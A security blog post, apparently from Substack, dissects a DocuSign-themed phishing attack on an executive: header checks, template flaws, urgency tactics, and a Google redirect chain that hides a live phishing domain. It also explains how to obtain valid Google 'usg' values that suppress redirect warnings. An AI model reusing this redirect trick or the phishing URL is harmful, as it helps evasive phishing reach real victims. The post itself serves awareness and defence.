pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>With his finger hovering over the button, he hesitated.</p><div><hr></div><h3>The Million Dollar Pause</h3><p>Fortunately, he remembered the advice: &#8220;pause before you click.&#8221; Despite the pressure of his schedule, he resisted tapping the button and sent the email to me instead.</p><p>He is lucky he did. On the other side of that button waited a trap: a sophisticated phishing script. It would have logged his action, fingerprinted his browser and IP for future attacks, and notified the attacker.</p><p>Had he entered his credentials into the fake DocuSign form, his account would have been stolen, triggering a rapid escalation that could have cost him, his partners, and clients millions.</p><div><hr></div><blockquote><p><em>&#128161; Scammers engineer every detail of these emails, from the subject line (&#8221;Action Required,&#8221; &#8220;Signature Needed&#8221;) to the time of day (8:01 a.m. during peak chaos), to force you to prioritize speed over checking critical flaws.</em></p></blockquote><div><hr></div><h2>From Click to Compromise</h2><p>Business Email Compromise (BEC) is one of the most common forms of cyberattack against corporations. Attackers seek to compromise legitimate accounts, especially those used to request or approve payments, so they can:</p><ul><li><p><strong>Weaponize Trust:</strong> Impersonate a trusted figure (like an executive or a partner) to send fraudulent requests from a seemingly legitimate source.</p></li><li><p><strong>Hijack Transactions:</strong> Intercept and alter payment instructions for legitimate invoices, redirecting funds to accounts controlled by the attacker.</p></li><li><p><strong>Initiate Wire Fraud:</strong> Request immediate, urgent, and high-value wire transfers directly to their money mule network.</p></li></ul><p>The DocuSign BEC attack analyzed here is a potent example, demonstrating a sophisticated chain of events that moves the victim from a moment of distraction to a high-consequence compromise.</p><div><hr></div><h2>Technical Analysis: Overview</h2><p>This DocuSign-themed Business Email Compromise attack illustrates how modern commercial cybercrime operates. The email itself contained clear design flaws, yet its timing and urgency were persuasive enough to nearly compromise a senior executive.</p><p>A deeper analysis of the email and the linked phishing pages reveals a far more sophisticated system behind the scenes. The technical infrastructure spans multiple countries, uses layered redirects, and exhibits the hallmarks of a Phishing-as-a-Service operation.</p><p>The sections that follow break down each component of the attack and show how this commercial cybercrime model works to identify, track, and compromise targets.</p><div><hr></div><h3><strong>In this article, we will discuss:</strong></h3><ul><li><p><strong>Email Headers:</strong> An examination of the email headers reveals signs of spoofing or non-DocuSign origins.</p></li><li><p><strong>Design:</strong> The analysis highlights the visual inconsistencies of the template that betrayed the DocuSign scam.</p></li><li><p><strong>Pretext:</strong> The attacker&#8217;s cover story and urgency tactics are dissected to show how the executive was manipulated.</p></li><li><p><strong>Methodology:</strong> The step-by-step process of the multi-step attack, from the initial click to the final compromise, is broken down.</p><ul><li><p><strong>Link obfuscation:</strong> The clever trick utilizing a legitimate Google domain to hide the final malicious link is explained.</p></li><li><p><strong>Phishing pages:</strong> Analysis of the pages used to silently fingerprint, track, and attempt to evade security analysis before presenting a login form.</p></li><li><p><strong>Tracking scripts:</strong> The details of the script used to fingerprint the victim and alert the attacker of a live click are provided.</p></li></ul></li><li><p><strong>Infrastructure: </strong>An analysis of the DNS, WHOIS, and code complexity that reveals the division of labor between the PaaS Affiliate and the PaaS Provider.</p></li></ul><p>Let&#8217;s get into it!</p><div><hr></div><h3>The Email Headers</h3><p>Email headers are the first place to check if you suspect a phishing attempt. The sender name can be spoofed, so review the full headers (available in the menu of all email services), including the Sender and Reply-To fields.</p><blockquote><p><em>&#128161; In Gmail, for example, you can view the original headers by opening the email, clicking the three-dot menu next to the Reply button, and selecting &#8220;Show original.&#8221; This will display the complete header information.</em></p></blockquote><p>In this case, I received the message as a forward, so the original headers were not available. The visible &#8220;From&#8221; name appeared to be a legitimate construction company, but this could have been easily spoofed.</p><p>A simple red flag would have been the domain. Real DocuSign messages always come from a DocuSign-controlled address. Attackers often create look-alike domains to fool recipients, such as replacing an &#8220;i&#8221; with a lowercase &#8220;l.&#8221;</p><p>It is also possible for attackers to use a compromised or misused legitimate DocuSign account. In that scenario, the domain would look correct, so context and document details become more important than the sender address alone.</p><div><hr></div><h3>The Design</h3><p>The design of the email was noticeably wrong. A convincing DocuSign message should look clean and consistent, but this template had incorrect wording, mismatched fonts, missing branding, and awkward spacing.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GETR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GETR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 424w, https://substackcdn.com/image/fetch/$s_!GETR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 848w, https://substackcdn.com/image/fetch/$s_!GETR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!GETR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GETR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png" width="1000" height="1000" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1000,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:177706,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GETR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 424w, https://substackcdn.com/image/fetch/$s_!GETR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 848w, https://substackcdn.com/image/fetch/$s_!GETR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!GETR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca5d9486-cdea-42c1-a29e-90f30159d27b_1000x1000.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These issues suggest the attacker used a generic phishing template rather than a precise replica of a real DocuSign email. The goal was not to create a perfect copy, but something &#8220;good enough&#8221; to catch rushed or distracted recipients.</p><p>Many people would overlook these visual flaws, which is why attackers rely on urgency and timing more than design quality.</p><div><hr></div><h3>The Pretext</h3><p>The pretext is the story that makes a phishing email feel legitimate. In this case, the scenario was generic but believable. </p><p>The language was clean, the tone was professional, and the fake reply&#8209;all chain included natural&#8209;sounding holiday references that matched Western norms.</p><p>The message also used urgency in both the subject line and the body, pushing the recipient to act quickly without examining the details closely. This is one of the most common and effective elements of phishing.</p><p>A more targeted operation would have tailored the message to real people, deals, or timelines inside the victim&#8217;s company. This attack relied on a broad, mass&#8209;phishing style approach that focuses on volume rather than precision.</p><div><hr></div><h3>The Redirect Trick</h3><p>The attack uses a multi&#8209;step redirect chain that exploits a feature within Google&#8217;s infrastructure to lend credibility to a malicious link, effectively obscuring the attacker&#8217;s true destination until the last moment.</p><blockquote><p>&#128161;You can use a tool like <a href="https://wheregoes.com/">Where Goes</a> to analyze a suspicious link&#8217;s redirect path. Be aware that this action may trigger the attacker&#8217;s tracking script and beacon, alerting them that the link was clicked.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zIsJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zIsJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 424w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 848w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 1272w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zIsJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png" width="1456" height="1132" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1132,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:374711,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!zIsJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 424w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 848w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 1272w, https://substackcdn.com/image/fetch/$s_!zIsJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa647250d-f39f-4af1-929b-3a91e334a67a_1662x1292.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the screenshot above, only two redirects appear because the phishing page detected the tool and blocked the remaining steps. Let&#8217;s walk through how the full chain works so you can see what the tool wasn&#8217;t able to reveal.</p><div><hr></div><h3><strong>Step 1. Initial Redirect (Google.com.sb)</strong></h3><p>The chain begins with a link that uses a legitimate Google domain, google.com.sb, which is the country&#8209;code domain for the Solomon Islands. This trusted address helps the link pass reputation checks and creates a false sense of safety for the victim.</p><pre><code>https://maps.google.com.sb/url?q=https%3A%2F%2Fssologon.eduhealthconnect.com%2F&amp;sa=D&amp;sntz=1&amp;usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]</code></pre><p>When you click a link in Google Search, Google News, Google Maps, or Gmail, you are first routed through a Google tracking URL.</p><p>In this attack, the attacker recreates that redirect and uses URL encoding to disguise the final destination within the link. Combined with valid Google parameters, this allows the victim to be sent directly to the phishing site without triggering Google&#8217;s redirect warning.</p><div><hr></div><h4>URL Encoding</h4><p>URL Encoding, also called Percent Encoding, replaces characters in a URL such as <code>?</code>, <code>/</code>, and <code>=</code> with <code>%</code> followed by a two&#8209;digit hexadecimal value. </p><p>For example, a space becomes <code>%20</code>. </p><p>The purpose of this mechanism is to ensure URLs contain only safe ASCII characters, but in this attack the encoding is also used to obscure the true structure of the link. </p><p>By encoding the destination, the redirect URL looks routine and harder to interpret at a glance, helping it resemble a legitimate Google link, hiding the malicious target.</p><pre><code>Original URL with Encoding:

https://maps.google.com.sb/url?q=https%3A%2F%2Fssologon.eduhealthconnect.com%2F&amp;sa=D&amp;sntz=1&amp;usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]

With URL Encoding Decoded:

https://maps.google.com.sb/url?q=https://ssologon.eduhealthconnect.com/&amp;sa=D&amp;sntz=1&amp;usg=AOVVaw1UGukqpVOCRZyk2UG6GwsZ#?trackingid=[BASE64 ENCODED TRACKING ID]</code></pre><div><hr></div><h4>URL Parameters</h4><p>The query parameters in the Google redirect link (the parts after ? and &amp;) normally help Google track where a click came from and whether the link is valid. In this attack, the attacker uses real Google parameters so the redirect looks legitimate and avoids Google&#8217;s &#8220;Redirect Notice&#8221; warning.</p><p>The most important parameter is usg, which acts like a signature. When it matches the value Google expects, Google automatically forwards the user without showing any warning. Keeping this valid lets the attacker hide behind Google&#8217;s trusted domain.</p><blockquote><p>&#128161;You can generate a valid USG link by sending yourself an email through Gmail, then inspecting the message. Right&#8209;click the sender address, choose Inspect Element, and copy the value of the data-saferedirecturl attribute.</p><p>Example: https://www.google.com/url?q=https://darkmarc.substack.com/&amp;source=gmail&amp;ust=1765214187363000&amp;usg=AOvVaw1jo1Yei6JMbVlzNfZfrOeL<br><br>With URL Encoding: https://www.google.com/url?q=https://darkmarc%2Esubstack%2Ecom/&amp;source=gmail&amp;ust=1765214187363000&amp;usg=AOvVaw1jo1Yei6JMbVlzNfZfrOeL<br><br>Google will display a redirect notice if the USG parameter is missing or expired. It also appears if colons or slashes in the URL, are encoded.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zv8L!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zv8L!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 424w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 848w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 1272w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zv8L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png" width="1456" height="501" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:501,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:196123,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zv8L!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 424w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 848w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 1272w, https://substackcdn.com/image/fetch/$s_!zv8L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc0973c6e-04a7-4e9e-99c0-06a1c07dee4c_2068x712.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h4>Tracking ID Fragment</h4><p>At the end of the URL, the attacker adds their tracking ID after a hash symbol. Anything after <code>#</code> is treated as a fragment, which <em>would still be sent to the final page</em>, but Google&#8217;s redirect process does not modify or remove it. Parameters, on the other hand, are stripped during the redirect.</p><p>By placing the tracking ID in the fragment rather than as a parameter, the attacker ensures it survives the Google redirect untouched. When the victim lands on the phishing page, that page can read the fragment and decode the Base64 value to recover the victim&#8217;s email.</p><pre><code>#?trackingid=[BASE64 ENCODED TRACKING ID]</code></pre><div><hr></div><h3>Step 2) Redirect to Phishing Page #1</h3><p>After passing through the Google redirect, the victim is sent to:</p><pre><code>https://ssologon.eduhealthconnect.com#?trackingid=[BASE64 ENCODED TRACKING ID]</code></pre><p>The phishing page reads the tracking ID from the fragment and decodes it. A fingerprinting script then runs to determine whether the visitor is a real person or an automated tool. </p><p>If the script detects a bot, sandbox, or analysis environment, the user is redirected straight to BBC.com, which is why WhereGoes only revealed two redirects.</p><p>If the visitor appears legitimate, the page collects detailed browser and device data, sends it to the attacker, and then auto&#8209;submits the user to an intermediary page along with the decoded tracking ID.</p><div><hr></div><h3>Step 3) Redirect to PaaS</h3><p>The user is then handed off to the PaaS&#8209;hosted portion of the kit, where the more advanced tooling lives. This stage performs deeper fingerprinting, requests broader browser permissions, and uses sophisticated evasion logic designed to block scanners and hide its behavior from security analysis.</p><p>As before, if the tracking data doesn&#8217;t match a real target or the script detects examination, the user is redirected to BBC.com. The decoy masking ensures the PaaS layer remains hidden from anyone other than the intended victim.</p><div><hr></div><h1>Analysis of the Phishing Process</h1><p>The first phishing page is hosted on a domain that appears harmless at a glance. The main site presents itself as an education&#8209;related business in India.</p><pre><code>URL: ssologon.eduhealthconnect.com</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!f_ek!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f_ek!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 424w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 848w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f_ek!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png" width="1280" height="1000" 